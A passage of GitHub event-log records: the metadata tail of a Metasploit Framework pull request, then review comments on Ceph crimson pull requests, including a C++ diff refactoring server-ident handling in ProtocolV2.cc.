Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2019-04-29T20:54:02Z","pushed_at":"2019-04-29T21:25:49Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":395928,"stargazers_count":16196,"watchers_count":16196,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":8051,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":672,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":8051,"open_issues":672,"watchers":16196,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/11779"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/11779"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/11779/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2141036f1310959ccc0051660060a7d20fddb667"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 2293158,
"name": "rapid7/metasploit-framework",
"url": "https://api.github.com/repos/rapid7/metasploit-framework"
}
|
{
"id": 434827,
"login": "bcoles",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/434827?",
"url": "https://api.github.com/users/bcoles"
}
|
{
"id": 1013671,
"login": "rapid7",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1013671?",
"url": "https://api.github.com/orgs/rapid7"
}
| 2019-04-29T22:13:33 |
9533736086
|
{"actor":{"display_login":"bcoles"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ceph/ceph/pulls/comments/312770431","pull_request_review_id":273498335,"id":312770431,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxMjc3MDQzMQ==","diff_hunk":"@@ -1409,52 +1412,55 @@ seastar::future<> ProtocolV2::send_server_ident()\n {\n // send_server_ident() logic\n \n- // this is required for the case when this connection is being replaced\n- // TODO\n- // out_seq = discard_requeued_up_to(out_seq, 0);\n- conn.in_seq = 0;\n-\n- if (!conn.policy.lossy) {\n- server_cookie = ceph::util::generate_random_number<uint64_t>(1, -1ll);\n- }\n+ // refered to async-conn v2: not assign gs to global_seq\n+ return messenger.get_global_seq().then([this] (auto gs) {\n+ logger().debug(\"{} UPDATE: gs={} for server ident\", conn, global_seq);\n \n- uint64_t flags = 0;\n- if (conn.policy.lossy) {\n- flags = flags | CEPH_MSG_CONNECT_LOSSY;\n- }\n+ // this is required for the case when this connection is being replaced\n+ // TODO\n+ // out_seq = discard_requeued_up_to(out_seq, 0);\n+ conn.in_seq = 0;\n \n- // refered to async-conn v2: not assign gs to global_seq\n- uint64_t gs = messenger.get_global_seq();\n- auto server_ident = ServerIdentFrame::Encode(\n- messenger.get_myaddrs(),\n- messenger.get_myname().num(),\n- gs,\n- conn.policy.features_supported,\n- conn.policy.features_required | msgr2_required,\n- flags,\n- server_cookie);\n-\n- logger().debug(\"{} WRITE ServerIdentFrame: addrs={}, gid={},\"\n- \" gs={}, features_supported={}, features_required={},\"\n- \" flags={}, cookie={}\",\n- conn, messenger.get_myaddrs(), messenger.get_myname().num(),\n- gs, conn.policy.features_supported,\n- conn.policy.features_required | msgr2_required,\n- flags, server_cookie);\n+ if (!conn.policy.lossy) {\n+ server_cookie = ceph::util::generate_random_number<uint64_t>(1, -1ll);\n+ }\n \n- conn.set_features(connection_features);\n+ uint64_t flags = 0;\n+ if (conn.policy.lossy) {\n+ flags = flags | CEPH_MSG_CONNECT_LOSSY;\n+ }\n \n- // notify\n- seastar::with_gate(pending_dispatch, [this] {\n- return dispatcher.ms_handle_accept(\n- seastar::static_pointer_cast<SocketConnection>(conn.shared_from_this()))\n- .handle_exception([this] (std::exception_ptr eptr) {\n- logger().error(\"{} ms_handle_accept caught exception: {}\", conn, eptr);\n- ceph_abort(\"unecpected exception from ms_handle_accept()\");\n+ auto server_ident = ServerIdentFrame::Encode(\n+ messenger.get_myaddrs(),\n+ messenger.get_myname().num(),\n+ gs,\n+ conn.policy.features_supported,\n+ conn.policy.features_required | msgr2_required,\n+ flags,\n+ server_cookie);\n+\n+ logger().debug(\"{} WRITE ServerIdentFrame: addrs={}, gid={},\"\n+ \" gs={}, features_supported={}, features_required={},\"\n+ \" flags={}, cookie={}\",\n+ conn, messenger.get_myaddrs(), messenger.get_myname().num(),\n+ gs, conn.policy.features_supported,\n+ conn.policy.features_required | msgr2_required,\n+ flags, server_cookie);\n+\n+ conn.set_features(connection_features);\n+\n+ // notify\n+ seastar::with_gate(pending_dispatch, [this] {\n+ return dispatcher.ms_handle_accept(\n+ seastar::static_pointer_cast<SocketConnection>(conn.shared_from_this()))\n+ .handle_exception([this] (std::exception_ptr eptr) {\n+ logger().error(\"{} ms_handle_accept caught exception: {}\", conn, eptr);\n+ ceph_abort(\"unecpected exception from ms_handle_accept()\");","path":"src/crimson/net/ProtocolV2.cc","position":null,"original_position":118,"commit_id":"acca47433990233cc41f3b81e7171fae2a95fdc0","original_commit_id":"03fbb3603a76a836a2358a6c609fbd3e1315ff91","user":{"login":"cyx1231st","id":7736006,"node_id":"MDQ6VXNlcjc3MzYwMDY=","avatar_url":"https://avatars3.githubusercontent.com/u/7736006?v=4","gravatar_id":"","url":"https://api.github.com/users/cyx1231st","html_url":"https://github.com/cyx1231st","followers_url":"https://api.github.com/users/cyx1231st/followers","following_url":"https://api.github.com/users/cyx1231st/following{/other_user}","gists_url":"https://api.github.com/users/cyx1231st/gists{/gist_id}","starred_url":"https://api.github.com/users/cyx1231st/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cyx1231st/subscriptions","organizations_url":"https://api.github.com/users/cyx1231st/orgs","repos_url":"https://api.github.com/users/cyx1231st/repos","events_url":"https://api.github.com/users/cyx1231st/events{/privacy}","received_events_url":"https://api.github.com/users/cyx1231st/received_events","type":"User","site_admin":false},"body":"Fixed.","created_at":"2019-08-12T02:52:06Z","updated_at":"2019-08-12T02:52:06Z","html_url":"https://github.com/ceph/ceph/pull/29378#discussion_r312770431","pull_request_url":"https://api.github.com/repos/ceph/ceph/pulls/29378","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/ceph/ceph/pulls/comments/312770431"},"html":{"href":"https://github.com/ceph/ceph/pull/29378#discussion_r312770431"},"pull_request":{"href":"https://api.github.com/repos/ceph/ceph/pulls/29378"}},"in_reply_to_id":312373233},"pull_request":{"url":"https://api.github.com/repos/ceph/ceph/pulls/29378","id":301941059,"node_id":"MDExOlB1bGxSZXF1ZXN0MzAxOTQxMDU5","html_url":"https://github.com/ceph/ceph/pull/29378","diff_url":"https://github.com/ceph/ceph/pull/29378.diff","patch_url":"https://github.com/ceph/ceph/pull/29378.patch","issue_url":"https://api.github.com/repos/ceph/ceph/issues/29378","number":29378,"state":"open","locked":false,"title":"crimson/net: lossless policy for v2 protocol","user":{"login":"cyx1231st","id":7736006,"node_id":"MDQ6VXNlcjc3MzYwMDY=","avatar_url":"https://avatars3.githubusercontent.com/u/7736006?v=4","gravatar_id":"","url":"https://api.github.com/users/cyx1231st","html_url":"https://github.com/cyx1231st","followers_url":"https://api.github.com/users/cyx1231st/followers","following_url":"https://api.github.com/users/cyx1231st/following{/other_user}","gists_url":"https://api.github.com/users/cyx1231st/gists{/gist_id}","starred_url":"https://api.github.com/users/cyx1231st/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cyx1231st/subscriptions","organizations_url":"https://api.github.com/users/cyx1231st/orgs","repos_url":"https://api.github.com/users/cyx1231st/repos","events_url":"https://api.github.com/users/cyx1231st/events{/privacy}","received_events_url":"https://api.github.com/users/cyx1231st/received_events","type":"User","site_admin":false},"body":"- [x] code clean-up;\r\n- [x] revisit racing cases of reconnecting;\r\n- [x] split to sub-commits;\r\n\r\nUnit tests and further fixes will be in separate PR.","created_at":"2019-07-29T07:22:27Z","updated_at":"2019-08-12T02:52:06Z","closed_at":null,"merged_at":null,"merge_commit_sha":"0a35c929a70e6112582d59f4384ac34f65c7fabd","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":959692411,"node_id":"MDU6TGFiZWw5NTk2OTI0MTE=","url":"https://api.github.com/repos/ceph/ceph/labels/crimson","name":"crimson","color":"B80f0a","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/ceph/ceph/pulls/29378/commits","review_comments_url":"https://api.github.com/repos/ceph/ceph/pulls/29378/comments","review_comment_url":"https://api.github.com/repos/ceph/ceph/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ceph/ceph/issues/29378/comments","statuses_url":"https://api.github.com/repos/ceph/ceph/statuses/acca47433990233cc41f3b81e7171fae2a95fdc0","head":{"label":"cyx1231st:rfc-seastar-msgr-lossless-master","ref":"rfc-seastar-msgr-lossless-master","sha":"acca47433990233cc41f3b81e7171fae2a95fdc0","user":{"login":"cyx1231st","id":7736006,"node_id":"MDQ6VXNlcjc3MzYwMDY=","avatar_url":"https://avatars3.githubusercontent.com/u/7736006?v=4","gravatar_id":"","url":"https://api.github.com/users/cyx1231st","html_url":"https://github.com/cyx1231st","followers_url":"https://api.github.com/users/cyx1231st/followers","following_url":"https://api.github.com/users/cyx1231st/following{/other_user}","gists_url":"https://api.github.com/users/cyx1231st/gists{/gist_id}","starred_url":"https://api.github.com/users/cyx1231st/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cyx1231st/subscriptions","organizations_url":"https://api.github.com/users/cyx1231st/orgs","repos_url":"https://api.github.com/users/cyx1231st/repos","events_url":"https://api.github.com/users/cyx1231st/events{/privacy}","received_events_url":"https://api.github.com/users/cyx1231st/received_events","type":"User","site_admin":false},"repo":{"id":100563652,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA1NjM2NTI=","name":"ceph","full_name":"cyx1231st/ceph","private":false,"owner":{"login":"cyx1231st","id":7736006,"node_id":"MDQ6VXNlcjc3MzYwMDY=","avatar_url":"https://avatars3.githubusercontent.com/u/7736006?v=4","gravatar_id":"","url":"https://api.github.com/users/cyx1231st","html_url":"https://github.com/cyx1231st","followers_url":"https://api.github.com/users/cyx1231st/followers","following_url":"https://api.github.com/users/cyx1231st/following{/other_user}","gists_url":"https://api.github.com/users/cyx1231st/gists{/gist_id}","starred_url":"https://api.github.com/users/cyx1231st/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cyx1231st/subscriptions","organizations_url":"https://api.github.com/users/cyx1231st/orgs","repos_url":"https://api.github.com/users/cyx1231st/repos","events_url":"https://api.github.com/users/cyx1231st/events{/privacy}","received_events_url":"https://api.github.com/users/cyx1231st/received_events","type":"User","site_admin":false},"html_url":"https://github.com/cyx1231st/ceph","description":"Ceph is a distributed object, block, and file storage platform ","fork":true,"url":"https://api.github.com/repos/cyx1231st/ceph","forks_url":"https://api.github.com/repos/cyx1231st/ceph/forks","keys_url":"https://api.github.com/repos/cyx1231st/ceph/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cyx1231st/ceph/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cyx1231st/ceph/teams","hooks_url":"https://api.github.com/repos/cyx1231st/ceph/hooks","issue_events_url":"https://api.github.com/repos/cyx1231st/ceph/issues/events{/number}","events_url":"https://api.github.com/repos/cyx1231st/ceph/events","assignees_url":"https://api.github.com/repos/cyx1231st/ceph/assignees{/user}","branches_url":"https://api.github.com/repos/cyx1231st/ceph/branches{/branch}","tags_url":"https://api.github.com/repos/cyx1231st/ceph/tags","blobs_url":"https://api.github.com/repos/cyx1231st/ceph/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cyx1231st/ceph/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cyx1231st/ceph/git/refs{/sha}","trees_url":"https://api.github.com/repos/cyx1231st/ceph/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cyx1231st/ceph/statuses/{sha}","languages_url":"https://api.github.com/repos/cyx1231st/ceph/languages","stargazers_url":"https://api.github.com/repos/cyx1231st/ceph/stargazers","contributors_url":"https://api.github.com/repos/cyx1231st/ceph/contributors","subscribers_url":"https://api.github.com/repos/cyx1231st/ceph/subscribers","subscription_url":"https://api.github.com/repos/cyx1231st/ceph/subscription","commits_url":"https://api.github.com/repos/cyx1231st/ceph/commits{/sha}","git_commits_url":"https://api.github.com/repos/cyx1231st/ceph/git/commits{/sha}","comments_url":"https://api.github.com/repos/cyx1231st/ceph/comments{/number}","issue_comment_url":"https://api.github.com/repos/cyx1231st/ceph/issues/comments{/number}","contents_url":"https://api.github.com/repos/cyx1231st/ceph/contents/{+path}","compare_url":"https://api.github.com/repos/cyx1231st/ceph/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cyx1231st/ceph/merges","archive_url":"https://api.github.com/repos/cyx1231st/ceph/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cyx1231st/ceph/downloads","issues_url":"https://api.github.com/repos/cyx1231st/ceph/issues{/number}","pulls_url":"https://api.github.com/repos/cyx1231st/ceph/pulls{/number}","milestones_url":"https://api.github.com/repos/cyx1231st/ceph/milestones{/number}","notifications_url":"https://api.github.com/repos/cyx1231st/ceph/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cyx1231st/ceph/labels{/name}","releases_url":"https://api.github.com/repos/cyx1231st/ceph/releases{/id}","deployments_url":"https://api.github.com/repos/cyx1231st/ceph/deployments","created_at":"2017-08-17T05:07:10Z","updated_at":"2019-03-06T08:28:58Z","pushed_at":"2019-08-12T02:50:58Z","git_url":"git://github.com/cyx1231st/ceph.git","ssh_url":"git@github.com:cyx1231st/ceph.git","clone_url":"https://github.com/cyx1231st/ceph.git","svn_url":"https://github.com/cyx1231st/ceph","homepage":"http://ceph.com","size":341920,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"ceph:master","ref":"master","sha":"801d2f0449f0fe41ee67065c4ac8be47fcca4004","user":{"login":"ceph","id":1015767,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTU3Njc=","avatar_url":"https://avatars3.githubusercontent.com/u/1015767?v=4","gravatar_id":"","url":"https://api.github.com/users/ceph","html_url":"https://github.com/ceph","followers_url":"https://api.github.com/users/ceph/followers","following_url":"https://api.github.com/users/ceph/following{/other_user}","gists_url":"https://api.github.com/users/ceph/gists{/gist_id}","starred_url":"https://api.github.com/users/ceph/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ceph/subscriptions","organizations_url":"https://api.github.com/users/ceph/orgs","repos_url":"https://api.github.com/users/ceph/repos","events_url":"https://api.github.com/users/ceph/events{/privacy}","received_events_url":"https://api.github.com/users/ceph/received_events","type":"Organization","site_admin":false},"repo":{"id":2310495,"node_id":"MDEwOlJlcG9zaXRvcnkyMzEwNDk1","name":"ceph","full_name":"ceph/ceph","private":false,"owner":{"login":"ceph","id":1015767,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTU3Njc=","avatar_url":"https://avatars3.githubusercontent.com/u/1015767?v=4","gravatar_id":"","url":"https://api.github.com/users/ceph","html_url":"https://github.com/ceph","followers_url":"https://api.github.com/users/ceph/followers","following_url":"https://api.github.com/users/ceph/following{/other_user}","gists_url":"https://api.github.com/users/ceph/gists{/gist_id}","starred_url":"https://api.github.com/users/ceph/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ceph/subscriptions","organizations_url":"https://api.github.com/users/ceph/orgs","repos_url":"https://api.github.com/users/ceph/repos","events_url":"https://api.github.com/users/ceph/events{/privacy}","received_events_url":"https://api.github.com/users/ceph/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ceph/ceph","description":"Ceph is a distributed object, block, and file storage platform ","fork":false,"url":"https://api.github.com/repos/ceph/ceph","forks_url":"https://api.github.com/repos/ceph/ceph/forks","keys_url":"https://api.github.com/repos/ceph/ceph/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ceph/ceph/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ceph/ceph/teams","hooks_url":"https://api.github.com/repos/ceph/ceph/hooks","issue_events_url":"https://api.github.com/repos/ceph/ceph/issues/events{/number}","events_url":"https://api.github.com/repos/ceph/ceph/events","assignees_url":"https://api.github.com/repos/ceph/ceph/assignees{/user}","branches_url":"https://api.github.com/repos/ceph/ceph/branches{/branch}","tags_url":"https://api.github.com/repos/ceph/ceph/tags","blobs_url":"https://api.github.com/repos/ceph/ceph/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ceph/ceph/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ceph/ceph/git/refs{/sha}","trees_url":"https://api.github.com/repos/ceph/ceph/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ceph/ceph/statuses/{sha}","languages_url":"https://api.github.com/repos/ceph/ceph/languages","stargazers_url":"https://api.github.com/repos/ceph/ceph/stargazers","contributors_url":"https://api.github.com/repos/ceph/ceph/contributors","subscribers_url":"https://api.github.com/repos/ceph/ceph/subscribers","subscription_url":"https://api.github.com/repos/ceph/ceph/subscription","commits_url":"https://api.github.com/repos/ceph/ceph/commits{/sha}","git_commits_url":"https://api.github.com/repos/ceph/ceph/git/commits{/sha}","comments_url":"https://api.github.com/repos/ceph/ceph/comments{/number}","issue_comment_url":"https://api.github.com/repos/ceph/ceph/issues/comments{/number}","contents_url":"https://api.github.com/repos/ceph/ceph/contents/{+path}","compare_url":"https://api.github.com/repos/ceph/ceph/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ceph/ceph/merges","archive_url":"https://api.github.com/repos/ceph/ceph/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ceph/ceph/downloads","issues_url":"https://api.github.com/repos/ceph/ceph/issues{/number}","pulls_url":"https://api.github.com/repos/ceph/ceph/pulls{/number}","milestones_url":"https://api.github.com/repos/ceph/ceph/milestones{/number}","notifications_url":"https://api.github.com/repos/ceph/ceph/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ceph/ceph/labels{/name}","releases_url":"https://api.github.com/repos/ceph/ceph/releases{/id}","deployments_url":"https://api.github.com/repos/ceph/ceph/deployments","created_at":"2011-09-01T21:41:26Z","updated_at":"2019-08-12T00:59:39Z","pushed_at":"2019-08-12T02:51:04Z","git_url":"git://github.com/ceph/ceph.git","ssh_url":"git@github.com:ceph/ceph.git","clone_url":"https://github.com/ceph/ceph.git","svn_url":"https://github.com/ceph/ceph","homepage":"https://ceph.com","size":374703,"stargazers_count":6556,"watchers_count":6556,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":3283,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":504,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":3283,"open_issues":504,"watchers":6556,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ceph/ceph/pulls/29378"},"html":{"href":"https://github.com/ceph/ceph/pull/29378"},"issue":{"href":"https://api.github.com/repos/ceph/ceph/issues/29378"},"comments":{"href":"https://api.github.com/repos/ceph/ceph/issues/29378/comments"},"review_comments":{"href":"https://api.github.com/repos/ceph/ceph/pulls/29378/comments"},"review_comment":{"href":"https://api.github.com/repos/ceph/ceph/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ceph/ceph/pulls/29378/commits"},"statuses":{"href":"https://api.github.com/repos/ceph/ceph/statuses/acca47433990233cc41f3b81e7171fae2a95fdc0"}},"author_association":"MEMBER"}}
|
{
"id": 2310495,
"name": "ceph/ceph",
"url": "https://api.github.com/repos/ceph/ceph"
}
|
{
"id": 7736006,
"login": "cyx1231st",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/7736006?",
"url": "https://api.github.com/users/cyx1231st"
}
|
{
"id": 1015767,
"login": "ceph",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1015767?",
"url": "https://api.github.com/orgs/ceph"
}
| 2019-08-12T02:52:06 |
10190264571
|
{"actor":{"display_login":"cyx1231st"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ceph/ceph/pulls/comments/266585124","pull_request_review_id":215781076,"id":266585124,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2NjU4NTEyNA==","diff_hunk":"@@ -112,6 +112,11 @@ SocketMessenger::connect(const entity_addr_t& peer_addr, const entity_type_t& pe\n });\n }\n ","path":"src/crimson/net/SocketMessenger.cc","position":3,"original_position":3,"commit_id":"6869c1bf700e03eb9d820261b90d9a0c4529c6fa","original_commit_id":"6869c1bf700e03eb9d820261b90d9a0c4529c6fa","user":{"login":"liu-chunmei","id":29928748,"node_id":"MDQ6VXNlcjI5OTI4NzQ4","avatar_url":"https://avatars2.githubusercontent.com/u/29928748?v=4","gravatar_id":"","url":"https://api.github.com/users/liu-chunmei","html_url":"https://github.com/liu-chunmei","followers_url":"https://api.github.com/users/liu-chunmei/followers","following_url":"https://api.github.com/users/liu-chunmei/following{/other_user}","gists_url":"https://api.github.com/users/liu-chunmei/gists{/gist_id}","starred_url":"https://api.github.com/users/liu-chunmei/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/liu-chunmei/subscriptions","organizations_url":"https://api.github.com/users/liu-chunmei/orgs","repos_url":"https://api.github.com/users/liu-chunmei/repos","events_url":"https://api.github.com/users/liu-chunmei/events{/privacy}","received_events_url":"https://api.github.com/users/liu-chunmei/received_events","type":"User","site_admin":false},"body":"@cyx1231st I remember you separate messenger shutdown and stop for some reason. Does this combination stop and shutdown work well for you concern case? BTW, currently messenger is initialized in main.cc not in osd instance. ","created_at":"2019-03-18T18:35:02Z","updated_at":"2019-03-18T18:35:02Z","html_url":"https://github.com/ceph/ceph/pull/26697#discussion_r266585124","pull_request_url":"https://api.github.com/repos/ceph/ceph/pulls/26697","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/ceph/ceph/pulls/comments/266585124"},"html":{"href":"https://github.com/ceph/ceph/pull/26697#discussion_r266585124"},"pull_request":{"href":"https://api.github.com/repos/ceph/ceph/pulls/26697"}}},"pull_request":{"url":"https://api.github.com/repos/ceph/ceph/pulls/26697","id":257115068,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU3MTE1MDY4","html_url":"https://github.com/ceph/ceph/pull/26697","diff_url":"https://github.com/ceph/ceph/pull/26697.diff","patch_url":"https://github.com/ceph/ceph/pull/26697.patch","issue_url":"https://api.github.com/repos/ceph/ceph/issues/26697","number":26697,"state":"open","locked":false,"title":"crimon/osd: add pg recovery FSM","user":{"login":"tchaikov","id":59071,"node_id":"MDQ6VXNlcjU5MDcx","avatar_url":"https://avatars2.githubusercontent.com/u/59071?v=4","gravatar_id":"","url":"https://api.github.com/users/tchaikov","html_url":"https://github.com/tchaikov","followers_url":"https://api.github.com/users/tchaikov/followers","following_url":"https://api.github.com/users/tchaikov/following{/other_user}","gists_url":"https://api.github.com/users/tchaikov/gists{/gist_id}","starred_url":"https://api.github.com/users/tchaikov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tchaikov/subscriptions","organizations_url":"https://api.github.com/users/tchaikov/orgs","repos_url":"https://api.github.com/users/tchaikov/repos","events_url":"https://api.github.com/users/tchaikov/events{/privacy}","received_events_url":"https://api.github.com/users/tchaikov/received_events","type":"User","site_admin":false},"body":"- [x] peering machinery ported from ceph-osd\r\n- [x] heartbeat now is able to keep crimson-osd alive from its peers PoV\r\n- [x] crimson-osd is able to go clean as primary and replica\r\n- [x] implement `Dispatcher::ms_get_authorizer()`\r\n- [x] update some `MOSDPG*` messages so we can pass lvalue references as parameters to their ctor\r\n- [x] mgr::client\r\n- [x] update PG stats/state and report them to mgr\r\n- [x] test if `rados` CLI is able to target read/write requests to the primary pg shard hosted by crimson-osd \r\n- [x] serve read requests\r\n- [ ] serve write requests","created_at":"2019-02-28T15:29:12Z","updated_at":"2019-03-18T18:35:02Z","closed_at":null,"merged_at":null,"merge_commit_sha":"5e2cf3c8d38a5c8ede0aad2e7c7dc1e4857657e8","assignee":null,"assignees":[],"requested_reviewers":[{"login":"majianpeng","id":1230551,"node_id":"MDQ6VXNlcjEyMzA1NTE=","avatar_url":"https://avatars3.githubusercontent.com/u/1230551?v=4","gravatar_id":"","url":"https://api.github.com/users/majianpeng","html_url":"https://github.com/majianpeng","followers_url":"https://api.github.com/users/majianpeng/followers","following_url":"https://api.github.com/users/majianpeng/following{/other_user}","gists_url":"https://api.github.com/users/majianpeng/gists{/gist_id}","starred_url":"https://api.github.com/users/majianpeng/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/majianpeng/subscriptions","organizations_url":"https://api.github.com/users/majianpeng/orgs","repos_url":"https://api.github.com/users/majianpeng/repos","events_url":"https://api.github.com/users/majianpeng/events{/privacy}","received_events_url":"https://api.github.com/users/majianpeng/received_events","type":"User","site_admin":false},{"login":"rzarzynski","id":1891217,"node_id":"MDQ6VXNlcjE4OTEyMTc=","avatar_url":"https://avatars2.githubusercontent.com/u/1891217?v=4","gravatar_id":"","url":"https://api.github.com/users/rzarzynski","html_url":"https://github.com/rzarzynski","followers_url":"https://api.github.com/users/rzarzynski/followers","following_url":"https://api.github.com/users/rzarzynski/following{/other_user}","gists_url":"https://api.github.com/users/rzarzynski/gists{/gist_id}","starred_url":"https://api.github.com/users/rzarzynski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rzarzynski/subscriptions","organizations_url":"https://api.github.com/users/rzarzynski/orgs","repos_url":"https://api.github.com/users/rzarzynski/repos","events_url":"https://api.github.com/users/rzarzynski/events{/privacy}","received_events_url":"https://api.github.com/users/rzarzynski/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":959692411,"node_id":"MDU6TGFiZWw5NTk2OTI0MTE=","url":"https://api.github.com/repos/ceph/ceph/labels/crimson","name":"crimson","color":"B80f0a","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/ceph/ceph/pulls/26697/commits","review_comments_url":"https://api.github.com/repos/c